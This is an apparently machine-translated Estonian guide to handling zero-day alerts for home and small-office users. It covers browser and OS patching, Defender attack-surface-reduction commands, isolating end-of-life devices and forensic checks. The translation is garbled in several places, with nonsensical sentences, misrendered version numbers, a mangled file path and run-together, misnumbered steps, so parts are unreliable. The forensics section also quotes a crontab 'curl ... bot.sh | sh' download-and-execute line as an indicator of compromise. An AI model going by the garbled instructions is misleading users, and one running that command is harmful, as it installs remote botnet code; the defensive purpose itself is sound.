Nullpäevased haavatavuse hoiatused, hädaolukorra parandamine ja võrgu eraldamine¶

Ärgates USA küberturvalisuse ja infrastruktuuri turbeagentuuri kiireloomulise küberjulgeoleku nõuande peale (CISA), Ühendkuningriigi riiklik küberjulgeolekukeskus (NCSC), Apple, Google või Microsoft hoiatavad, et kriitiline nullpäeva haavatavus (0-Day) on kasutatakse looduses aktiivselt ära (KEV) teie iPhone'i, Android-telefoni, Windowsi PC, Maci, Chrome'i brauseri, kodu/kontori VPN-i tulemüüri või võrguga ühendatud salvestusruumi vastu (NAS) sõita või avastades, et teie kodune WiFi-ruuter, turvakaamera NVR või vanem arvuti on jõudnud elu lõppu (EoL / End-of-Support) ja ei saa kunagi paika äsja avalikustatud kaugkäivitusvea kohta, nõuab viivitamatut triaaži. Erinevalt tavapärastest igakuistest tarkvaravärskendustest tähendab aktiivselt ärakasutatud nullpäev seda, et ohus osalejatel on juba toimiv relvastatud ärakasutamine (nt nullklõpsuga iMessage/WhatsApp pildiparseri ärakasutamine, pahatahtlik WebP/fondi renderdamise brauseri ärakasutamine või autentimata WAN-i pordi käsurida, mis on kaitstud N-i pordi käsutusseadmete eest). parandus. Üks kord nullpäevane kontseptsiooni tõestus (PoC) on avaldatud või lisatud CISA tuntud ärakasutatud haavatavuste hulka (KEV) Kataloog, automatiseeritud robotvõrgud (Mirai, Volt Typhoon, lunavara sidusettevõtted) skannivad kogu IPv4 Internetti 15-45 minuti jooksul, et kaaperdada kõik paigatamata seadmed, mis on avatud veebiga kokku puutunud.

Kui nullpäevane ärakasutamine on häirinud eluohutusseadmete, haiglate kliiniliste süsteemide või kommunaalteenuste infrastruktuuri või on seotud füüsilise väljapressimisega, helistage oma kohalikule hädaabinumbrile (911 Ameerika Ühendriikides ja Kanadas, 112 kogu Euroopa Liidus, 999 Ühendkuningriigis) või tutvuge meie rahvusvaheliste kataloogidega hädaabinumbrid kohe. Kõigi tarbijate, kodukontorite ja väikeettevõtete nullpäevahoiatuste ja eluea lõpu (EoL).

Tehke seda kohe¶

1. Rakenda ribaväline hädaabi (OOB) paigad JA viige viivitamatult lõpule täielik taaskäivitamine / brauseri taaskäivitamine: hädaolukorra värskenduse allalaadimine on kasutu, kuni RAM-i haavatav kood pole laaditud. Chrome'is, Edge'is, Brave'is ja Firefoxis jääb paigatud null-päev mälus kasutatavaks seni, kuni klõpsate paremas ülanurgas oleval nupul "Käivita uuesti värskendamiseks" (chrome://settings/help). iOS-i, macOS-i, Windowsi ja Androidi puhul käivitage värskendus käsitsi ja taaskäivitage seade täielikult (mis puhastab ka mittepüsiva mäluga nuhkvara).
2. Kui nullpäeval pole veel MITTE plaastrit saadaval ("Patsimata 0-päev"), rakendage müüja ajutist lahendust või rünnakupinna vähendamist (ASR) tänane reegel: kui haavatavus avalikustatakse enne paiga kompileerimist, avaldavad CISA ja müüja ajutise leevenduse (nt UPnP ja WAN-i kaughalduse keelamine ruuteris, Apple'i lukustusrežiimi sisselülitamine iOS-is/macOS-is, JavaScripti JIT-i keelamine Edge'is/Chrome'is või TCP/UDl-i konkreetse pordi blokeerimine).
3. ** Kontrollige oma avalikku IP-aadressi Shodan.io või GRC ShieldsUP kohe ja sulgege kõik avatud WAN-pordid (Port Forwarding / UPnP / DMZ)**: üheksakümmend protsenti laastavatest kodu- ja väikeettevõtete nullpäeva kompromissidest tabab seadmeid, mis on avalikust Internetist otse kättesaadavad (QNAP / Synology NAS-draivid, ASUS / Netgear / TP-Link ruuteri administraatori lehed, Plex, RDP Port 3389, või VPN seadmed). Logige sisse oma ruuterisse ja keelake WAN-i kaughaldus, UPnP (Universal Plug and Play) ja DMZ-host kohe pärast meie koduruuterite ja IoT-seadmete turvalisuse juhend.
4. Taaskäivitage oma mobiiltelefon ja ruuter kohe, kui kahtlustate nuhkvara või robotivõrgu nakatumist: keerukad nullpäeva rünnakud nutitelefonide vastu (Pegasus, Predator, Triangulation) ja SOHO ruuterid (VPNFilter, KV Botnet) töötavad sageli puhtalt lenduvate sees RAM et vältida kettal tuvastamist. Seadme täielik väljalülitamine, 60 sekundi ootamine ja uuesti sisselülitamine sunnib ründajat seadet uuesti kasutama (mis ebaõnnestub, kui hädaabiplaaster või lukustusrežiim on aktiivne).
5. Eeldame, et nullpäeva parandamine EI löö välja ründajat, kes on teie seadet juba enne paiga tegemist rikkunud: Tarkvaraparandus sulgeb avatud akna, kuid see ei eemalda tagauksi, veebikestasid, võltsitud administraatorikontosid ega varastatud seansiküpsiseid, mis on loodud siis, kui ründaja teie süsteemi ära kasutas eile. Kui teie ruuter, NAS, VPN või server puutus autentimata Internetiga kokku CVSS 9.8+ null-päev oli looduses aktiivne, kontrollige logisid kompromissinäitajate osas (IoCs), pöörake kõiki mandaate ja lähtestage tehaseseaded või taastage, kui need on ohus.
6. Isoleerige mis tahes eluea lõpp (EoL) seade, mis ei saa enam vastu võtta turvapaiku rangele külalis-/IoT VLAN-ile, mille WAN-i Interneti-juurdepääs on blokeeritud: ärge kunagi jätke kasutusea lõppenud Windows ⅞/10 arvutit, toetamata vana Maci, vananenud Androidi/iPhone'i või katkestatud WiFi-ruuterit, mis on ühendatud otse teie peamise LAN-i või avatud Internetiga. Kui teie peamine Interneti-lüüsiks on EoL-i ruuter, ühendage see kohe välja ja asendage see.

Otsuste puu: hädaolukorra triaaž aktiivsete nullpäevahoiatuste ja eluea lõpu (EoL) riistvara¶

Järgige seda struktureeritud otsustuspuud alati, kui teie tarkvara või riistvara mõjutab kiireloomuline nullpäeva haavatavus või kasutusea lõppemise teatis.

flowchart TD
    Alert["Teie operatsioonisüsteemi, brauseri, ruuteri või NAS-i jaoks on välja antud kiireloomuline nullpäeva (0-päevane) või CISA KEV-hoiatus"] --> PatchCheck{"1. Kas müüja on välja andnud hädaolukorra turvapaiga?"}
    PatchCheck -->|"Jah: plaaster on saadaval"| Exposure{"2. Kas teie seade oli enne lappimist otseselt Internetiga avatud (WAN-port avatud)?"}
    Exposure -->|"Ei: NAT-i taga olev kliendiseade (telefon, sülearvuti, brauser)"| Apply["Installige värskendus algseadete + täieliku taaskäivitamise / brauseri kohese taaskäivitamise kaudu"]
    Exposure -->|"Jah: avalik ruuter, NAS, VPN või server"| Forensic["KRIITILINE: üksinda lappimine ei aita ründajaid välja. Kontrollige logisid veebikestade / petturite administraatorite, paiga, pööramise võtmete või tehaseseadete lähtestamise jaoks"]
    PatchCheck -->|"Ei: paigatamata 0-päevane VÕI seade on kasutusea lõpp (EoL)"| EoLCheck{"3. Kas seade on lõplikult kasutusel (EoL) või ootab müüja paika?"}
    EoLCheck -->|"Ootan tarnija plaastrit (ajutine 0-päevane aken)"| Mitigate["Rakendage hädaolukorra lahendus: sulgege WAN-pordid, lubage Apple'i lukustusrežiim / Windows ASR või keelake haavatav teenus"]
    EoLCheck -->|"Püsiv eluea lõpp (plaastrit ei tule kunagi)"| Role{"4. Millist rolli EOL-seade mängib?"}
    Role -->|"Edge ruuter / tulemüür / modem"| Replace["VÄLJA VÄLJA JA ASENDA KOHE (või Flash-toega OpenWrt püsivara, kui riistvara ühildub)"]
    Role -->|"Pärandarvuti, vana telefon, printer, kaamera või NAS"| Isolate["Õhuvahe või liikumine isoleeritud IoT VLAN-i + Interneti-juurdepääsu blokeerimine ruuteri tulemüüris"]

Nullpäeva nõuande lugemine nagu turvainsener (dekodeerimine CVE, CVSS, CISA KEVja EPSS)¶

Mitte iga meedias avaldatud tarkvara haavatavus ei nõua kõike loobumist kell 2:00 öösel. Viie tehnilise näitaja mõistmine ametniku sees CISA, NIST NVD, või müüja turvabülletään annab teile 30 sekundiga teada, kas teid ootab ees teoreetiline laboriviga või viie häirega maja tulekahju:

1. etapp: erakorraline nullpäeva parandamine ja kinnitamine kõigil suurematel platvormidel¶

Kui teie operatsioonisüsteemi või veebibrauserisse jõuab aktiivne nullpäev, ärge oodake automaatset üleöö hooldusaknaid (mis lükkavad installimise sageli edasi 3-14 päeva). Sundige tõmbamine ja kontrollige järgu numbrit käsitsi:

1. Veebibrauserid (Google Chrome, Microsoft Edge, Brave, Firefox, Safari): nullpäeva sihtmärk nr 1¶

Kuna veebibrauserid sõeluvad ebausaldusväärset JavaScripti (V8 / SpiderMonkey / JavaScriptCore JIT-kompilaatorid), WebRTC videovood, WebGL-i graafika ja pildivormingud (WebP, libvpx, FreeType) igalt külastatud saidilt ja reklaamilt moodustavad brauseri nullpäevad enamiku tarbijate nullpäeva hoiatustest. 1. Google Chrome: tippige chrome://settings/help aadressiribal. Chrome kontrollib kohe Google'i värskendusservereid ja laadib plaastri alla. Peate klõpsama ilmuval sinisel nupul „Taaskäivita” ja kui teie süsteemses salves on peidetud taustal olevad Chrome'i protsessid, sulgege need kõik või taaskäivitage arvuti, et vana haavatav chrome.exe binaarfail laaditakse RAM-ist täielikult maha. 2. Microsoft Edge: tippige edge://settings/help, oodake, kuni allalaadimine jõuab 100%ni, ja klõpsake nuppu Taaskäivita. 3. Brave brauser: tüüp brave://settings/help ja klõpsake Taaskäivita. 4. Mozilla Firefox: klõpsake nuppu Menüü -> Abi -> Teave Firefoxi kohta (või tippige about:preferences#general -> kerige jaotiseni Firefoxi värskendused) ja klõpsake nuppu Taaskäivita Firefoxi värskendamiseks. 5. Apple Safari: Safari värskendused on komplektis otse iOS-i, iPadOS-i ja macOS-i süsteemivärskendustesse (lisaks ka eraldiseisvad Safari värskendused alla System Settings -> General -> Software Update macOS Sonoma/Ventura jaoks).

2. Nutitelefonid ja tahvelarvutid (Apple iOS / iPadOS ja Google Android)¶

Mobiilse nullpäeva (eriti nullklõpsuga iMessage'i, FaceTime'i, WebKiti, põhiriba modemi ja Android-süsteemi / Qualcommi GPU vead) kasutab palju kommertsnuhkvara (Pegasus, Predator) ja sihitud ohus osalejad. - Apple iPhone ja iPad (iOS / iPadOS): 1. Avage Seaded -> Üldine -> Tarkvaravärskendus. 2. Lülitage SISSE Automaatsed värskendused -> Turvavastused ja süsteemifailid (nii rakenduvad Apple'i kiired turvareageeringud / taustaturbe täiustused automaatselt suuremate iOS-i väljaannete vahel). 3. Installige kohe ootel iOS-i värskendus, mis hõlmab tuuma täielikku taaskäivitamist. - Android-nutitelefonid (Google Pixel, Samsung Galaxy jne): 1. Androidil on tegelikult kaks eraldi turvavärskenduskanalit, mida peate eraldi kontrollima. - Kanal A (OS-i turvapaiga tase): avage Seaded -> Turvalisus ja privaatsus -> Süsteem ja värskendused -> Turvavärskendus (ja kontrollige kuupäeva: see peaks olema viimase 30-60 päeva sees). - Kanal B (Google Play süsteemivärskendus / projekti põhiline): avage Seaded -> Turvalisus ja privaatsus -> Süsteem ja värskendused -> Google Play süsteemivärskendus. Paljud kriitilised nullpäevad Androidi meediumikoodekis, Wi-Fi virnas ja käitusajas paigatakse Google Play süsteemivärskenduste kaudu, ootamata teie operaatori igakuist püsivara värskendust. Puudutage valikuid Otsi värskendusi, installige ja Taaskäivitage kohe.

3. Lauaarvuti operatsioonisüsteemid (Windows 10/11, macOS ja Linux)¶

• Windows 10 ja Windows 11:
• Ava Seaded (Win + I) -> Windows Update -> Otsi värskendusi.
• Kontrollige ka jaotist Windowsi turve -> Viiruste ja ohtude kaitse -> Kaitsevärskendused -> Otsi värskendusi (Microsoft saadab sageli iga päev erakorralisi nullpäevatuvastusi ja haavatavuse virtuaalseid parandusi. Microsoft Defender Security Intelligence definitsioonivärskendused värskendatakse tunde enne Windowsi täieliku kumulatiivse paiga valmimist).
• Apple macOS:
• Avage Apple Menu -> System Settings -> General -> Software Update. Veenduge, et "Installi turvavastused ja süsteemifailid" oleks teabe all sisse lülitatud (i) nuppu.
• Linux (Ubuntu / Debian ja RHEL / Fedora):
• Käivitage kohene turbehoidla värskendus ja kontrollige, kas kernel või jagatud raamatukogu (glibc, openssl, openssh, xz, cups) taaskäivitamine on vajalik:

# Ubuntu / Debian: Pull emergency patches & check if reboot/service restart is required
sudo apt update && sudo apt full-upgrade -y
cat /var/run/reboot-required 2>/dev/null || echo "No kernel reboot required"
sudo needrestart -r i 2>/dev/null

# Fedora / RHEL / Rocky / AlmaLinux: Pull emergency security advisories
sudo dnf upgrade --security --refresh -y
sudo dnf needs-restarting -r

2. faas: hädaolukorra lahendused, kui plaastrit veel ei ole (paigutamata nullpäeva akna üleelamine)¶

Mida sa teed millal CISA, Microsoft, Apple, või teatab turvafirma, et kriitilist haavatavust kasutatakse praegu aktiivselt ära, kuid müüja ütleb, et ametlik plaaster ei ole valmis veel 3-10 päeva jooksul? Peate kohe rakendama Kompenseerivaid juhtseadiseid ja ründepinna vähendamist (ASR), et katkestada kasutusahel enne, kui see saab käivitada:

Kopeerimise ja kleepimise skript: Windows PowerShelli hädaolukorra nullpäevane kõvenemine (ASR Reeglid)¶

Kui paigatamata Windowsi, Office'i või PDF-i nullpäev ringleb looduses ja kasutate operatsioonisüsteemi Windows 10/11 Pro/Enterprise (või kasutate Defenderit Windows Home'is registri/PowerShelli kaudu), käivitage need käsud rakenduses PowerShell (Run as Administrator), et aktiveerida Microsoft Defenderi tuum Attack Surface Reduction (Attack Surface).ASR) kehtivad Block režiim (1):

# 1. Force an immediate emergency pull of Microsoft Defender zero-day signatures
Update-MpSignature

# 2. Enable PUA Protection, Cloud Block at High+, and Network Protection
Set-MpPreference -PUAProtection Enabled
Set-MpPreference -EnableNetworkProtection Enabled
Set-MpPreference -CloudBlockLevel HighPlus
Set-MpPreference -CloudExtendedTimeout 50

# 3. Enable Critical Attack Surface Reduction (ASR) Rules in Block Mode (Value = 1)
# Blocks Office apps from creating child processes, blocks LSASS credential theft,
# blocks untrusted/unsigned processes from USB, and blocks obfuscated scripts
$ASRGuids = @(
    "D4F940AB-401B-4EFC-AADC-AD5F3C50688A", # Block all Office applications from creating child processes
    "9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2", # Block credential stealing from the Windows local security authority subsystem (lsass.exe)
    "5BEB7EFE-FD9A-4556-801D-275E5FFC04CC", # Block execution of potentially obfuscated scripts
    "3B576869-A4EC-4529-8536-B80A7769E899", # Block Office applications from creating executable content
    "7674ba52-37eb-4a4f-a9a1-f0f9a1619a2c", # Block Adobe Reader from creating child processes
    "b2b3f03d-6a65-4f7b-a9c7-1c7ef74adc99"  # Block untrusted and unsigned processes that run from USB
)
foreach ($Guid in $ASRGuids) {
    Add-MpPreference -AttackSurfaceReductionRules_Ids $Guid -AttackSurfaceReductionRules_Actions Enabled
}

3. etapp: mida teha, kui teie seade jõuab kasutusea lõppu (EoL / Toe lõpp)¶

Iga riist- ja tarkvaraosa jõuab lõpuks elu lõpuni (EoL) või Toe lõpp (EoS), kuupäev, pärast mida tootja lõpetab püsivalt turvapaikade väljastamise, isegi kui see on katastroofiline CVSS 10.0 avastatakse nullpäeva haavatavused. - Miks on eluea lõpp aktiivne hädaolukord: ründajad kasutavad automaatset binaarset diferentseerimist (BinDiff / Ghidra) toetatud mudelitele (nt Windows 11 või uus 2025. aasta TP-Linki ruuter) välja antud plaastritel, et muuta täpne haavatavus ja seejärel kohe käivitada see ärakasutamine Elulõpu mudelite vastu (nt Windows ⅞ / tellimata Windows 10, vanemad MacOS-i väljalasked, mis jagavad sama koodi, kuid 5 aastat vanad versioonid) mitte kunagi hankige plaastrit ("Forever-Day Exploits").

4-tasemeline eluea lõpp (EoL) Riistvara eraldamise ja asendamise protokoll¶

Kasutage seda otsustusmaatriksit kõigi oma kodus või kontoris olevate kasutusea lõpetavate seadmete haldamiseks, ilma et peaksite riskima kogu võrku hõlmava rikkumisega.

Kuidas lukustada eluea lõppu (EoL) Printer, kaamera või NAS teie ruuteri "Internetita kohaliku vanglas"¶

Kui teil on vanem võrguprinter, nutiteleviisor, IP-turvakaamera või pärand-NAS-draiv, mis töötab teie koduvõrgus endiselt hästi (LAN), kuid on jõudnud eluea lõppu ega saa enam kunagi uut turvapaika, ei pea te ei seda prügikasti viskama, kui blokeerite selle välise Internetiga suhtlemise (WAN): 1. Logige sisse oma peamise Wi-Fi-ruuteri halduskonsooli. 2. Avage LAN-i sätted / DHCP-server -> Staatiline DHCP-liising (aadressi reserveerimine) ja määrake EoL-i seadmele MAC Address püsiv staatiline kohalik IP-aadress (näiteks 192.168.1.240). 3. Avage ruuteri seadetes Tulemüür / Vanemlik kontroll / Juurdepääsukontroll / Liiklusreeglid: - Looge reegel 192.168.1.240 (või selle MAC Address) seatud väärtusele Blokeeri kogu Interneti (WAN) juurdepääs (Outbound & Inbound WAN = DROP/REJECT). - Teise võimalusena saate EoL-i seadme enda käsitsi võrguseadetes määrata selle staatilise IP väärtuse 192.168.1.240, Subnet Mask to 255.255.255.0ja jätke Default Gateway ja DNS Server väljad täiesti tühjaks (või määrake vaikelüüsiks olematu IP, näiteks 192.168.1.254). Ilma kehtiva vaikelüüsita saab EoL-i printer või kaamera siiski teie kohalikus arvutis printida või voogesitada. 192.168.1.x alamvõrk, kuid ei ole füüsiliselt võimeline pakette Internetti suunama või Interneti kaudu jõudma.

4. etapp: ekspluatatsioonijärgne kohtuekspertiis, kui teie seade paljastati enne paikamist¶

Kui a CVSS 9.8+ Autentimata nullpäev mõjutab Interneti-ühendusega seadet (nt kodu- või väikeettevõtte ruuterit, VPN-lüüsi, QNAP / Synology NAS, Plex meediumiserver või pordiga edastatud töölaud), suleb müüja püsivara värskenduse rakendamine ainult esiukse. Kui automaatne skanner tabas teie avalikku IP-aadressi enne, kui paigad tegite, võib ründaja olla juba loonud püsiva tagaukse, mis püsib standardse taaskäivituse üle. Viige läbi see neljaastmeline patch-järgse kohtuekspertiisi audit:

1. Kontrollige volitamata administraatorikontode ja SSH-võtmete olemasolu:
2. Avage oma NAS-is, ruuteris või arvutis haldusekraan Kasutajad/administraatorid ja veenduge, et seal poleks võõraid administraatorikontosid (nt. support, admin2, backup, või system) loodi nullpäeva akna ajal.
3. Kontrollige Linuxi/macOS-i/NAS-i süsteemides -/.ssh/authorized_keys ja /root/.ssh/authorized_keys kontrollimaks, et pole lisatud võltsitud avalikke SSH-võtmeid.
4. Aktiivsete väljaminevate võrguühenduste auditeerimine (netstat / Router Traffic Monitor) ja DNS-i sätted:
5. Ohustatud SOHO-ruuterite ja NAS-seadmete esmane ja sekundaarne WAN-i DNS-server kaaperdatakse sageli, et osutada võltsile IP-aadressile või säilitada püsiv pöördkesta/botnet-ühendus (SOCKS5 puhverserver või Tor relee).
6. Logige sisse oma ruuteri WAN/Interneti-sätted ja veenduge, et DNS on teie Interneti-teenuse pakkuja vaikeseadeks või kinnitatud avalikuks lahendajaks (1.1.1.1, 8.8.8.8, või 9.9.9.9).
7. ** Kontrollige cron Töökohad, käivitusskriptid ja veebikestade veebijuurkataloogid**:
8. Nullpäevased ärakasutused veebis hallatavate seadmete vastu on peaaegu alati väikesed .php, .jsp, .aspx, või .cgi veebikest seadme veebiserveri kataloogi või sisestage püsiv crontab allalaadimise ja käivitamise rida (curl http://.../bot.sh | sh).
9. Kui teie ruuteril või NAS-il ilmneb pärast nullpäevast hoiatust seletamatult kõrge protsessori kasutus, kummalised väljamineva liikluse hüpped või muudetud süsteemi binaarfaile, ärge usaldage ainult kohapealset püsivara värskendust: varundage oma puhtad kasutajaandmefailid (ainult fotod ja dokumendid, mitte kunagi uusimaid süsteemi konfiguratsiooni varukoopiaid, mis võivad sisaldada ründaja croni tööd**) teostab paigalseadistatud riistvara käsitsi. püsivara puhtast arvutist ja määrake uhiuus administraatori parool ja värske MFA seeme.
10. Pöörake kõiki haavatavas seadmes salvestatud või selle kaudu edastatud mandaate:
11. Kui serva VPN-seade, ruuter või NAS sattus enne paikamist ohtu, on kõik lihtteksti paroolid, SMB võrgu jagamise mandaadid, pilve varunduse API võtmed (AWS S3, Backblaze B2, Wasabi) või sellesse seadmesse salvestatud SSL/TLS privaatvõtmed tuleb viivitamatult tühistada ja uuesti luua.

Korduma kippuvad küsimused¶

Kas nullpäeva paiga installimine eemaldab häkkerid, kui minu seadet kasutati juba enne värskendamist?¶

Ei. Tarkvara turvapaik parandab ainult koodi aluseks oleva haavatavuse, nii et tulevased ärakasutamiskatsed ebaõnnestuvad; see ei tõrju välja ründajat, kes kasutas haavatavust juba enne paikamist ja paigaldas püsiva veebishelli, tagaukse binaarfaili, ajastatud toimingu või petturliku administraatori konto, ega muuda kehtetuks seansiküpsiseid ega paroole, mille nad juba varastasid. Kui teie seade puutus otseselt kokku avaliku Internetiga (nt ruuter, NAS, VPN-seade või avalik server), samal ajal kui looduses kasutati aktiivselt ära autentimata nullpäeva, peate kontrollima süsteemi logisid kompromissiindikaatorite (IoC) suhtes, pöörama kõiki paroole ja SSH/API võtmeid ning viima läbi puhas tehaseseadete lähtestamine või operatsioonisüsteemi taasinstallimine.

Kuidas kontrollida, kas mu WiFi-ruuter või arvuti on jõudnud kasutusea lõppu (EoL)?¶

Vaadake oma ruuteri allosas olevat tootja silti (märkige üles täpne mudelinumber ja riistvara versioon, nt v1, v2 või v4) ja vaadake tootja ametlikku kasutusea/teenuse lõpu toodete loendi veebisaiti (avaldanud ASUS, Netgear, TP-Link, Linksys, D-Link, kogukond), operatsioonisüsteemide või andmebaasi lõpu, Synology ja QNAP jaoks. telefonid ja tarkvara. Lisaks logige sisse oma ruuteri püsivara värskendusekraanile: kui uusima saadaoleva püsivara kuupäev on vanem kui 18-24 kuud, käsitlege ruuterit de facto kasutusea lõpuna ja asendage see või välguga toetatud OpenWrt püsivara.

Kas ma saan muuta kasutuselt kõrvaldatud Windows 10 PC või vana Maci seifi ilma uut arvutit ostmata?¶

Jah. Kui Microsoft lõpetab Windowsi versiooni tasuta tarbijaturbe toe või Apple eemaldab vanema Inteli või varasema Maci mudeli macOS-i värskendustest, on arvuti füüsilise riistvaraga kõik korras; ainult operatsioonisüsteem on eluea lõpp. Saate registreerida Windows 10 arvuti Microsofti ametlikus laiendatud turbevärskenduste (ESU) programmis või varundada oma failid ja installida USB-mälupulga kaudu kaasaegne, aktiivselt paigatud tasuta Linuxi operatsioonisüsteem, nagu Linux Mint, Ubuntu LTS, Fedora või Google ChromeOS Flex, mis annab teie olemasolevale sülearvutile veel 5-8 aastat pidevat nullpäevase brauseri turbetuuma kasutusaega.

Allikad kontrollitud¶

• Küberturvalisuse ja infrastruktuuri turvaagentuur (CISA, Ameerika Ühendriigid): Teadaolevad ärakasutatud haavatavused (KEV) Kataloog, siduv tegevusdirektiiv BOD 22-01 (Teadaolevate ärakasutatud haavatavuste olulise riski vähendamine) ja BOD 23-02 (Internetile avatud haldusliidestest tuleneva riski maandamine).
• Föderaalne Juurdlusbüroo (FBI), Riiklik Julgeolekuagentuur (NSA), ja Ühendkuningriigi riiklik küberjulgeolekukeskus (NCSC): Ühine küberturvalisuse nõuanne robotivõrgu kasutusea lõppemise ärakasutamise leevendamise kohta (EoL) SOHO ruuterid, tulemüürid ja VPN-seadmed.
• Riiklik Standardi- ja Tehnoloogiainstituut (NIST, Ameerika Ühendriigid): SP 800-40 Rev. 4, Juhend ettevõtte paigahalduse planeerimiseks: Tehnoloogia ennetav hooldus.
• Apple Platform Security & Citizen Lab (Toronto Ülikool): *iOS-i / macOS-i lukustusrežiimi arhitektuur ja kiire turbereageerimine nuhkvara vähendamise juhistega, mis ei ole klõpsatud.
• Microsoft Security Response Center (MSRC): Microsoft Defender Attack Surface Reduction (ASR) Nullpäevase leevendamise ja ribavälise juurutamise viide (OOB) Turvavärskenduse juhised.

Seotud juhendid¶

• Koduruuterite, nutitelerite ja asjade Interneti-seadmete turvalisus
• Pahavara, lunavara ja nuhkvarainfektsioonide eemaldamine
• Stalkerware, nuhkvara ja klahvilogija tuvastamine telefonides
• Vastus andmete rikkumisele, lekkinud paroolid ja krediidi külmutamine
• Hädaabinumbrid riigiti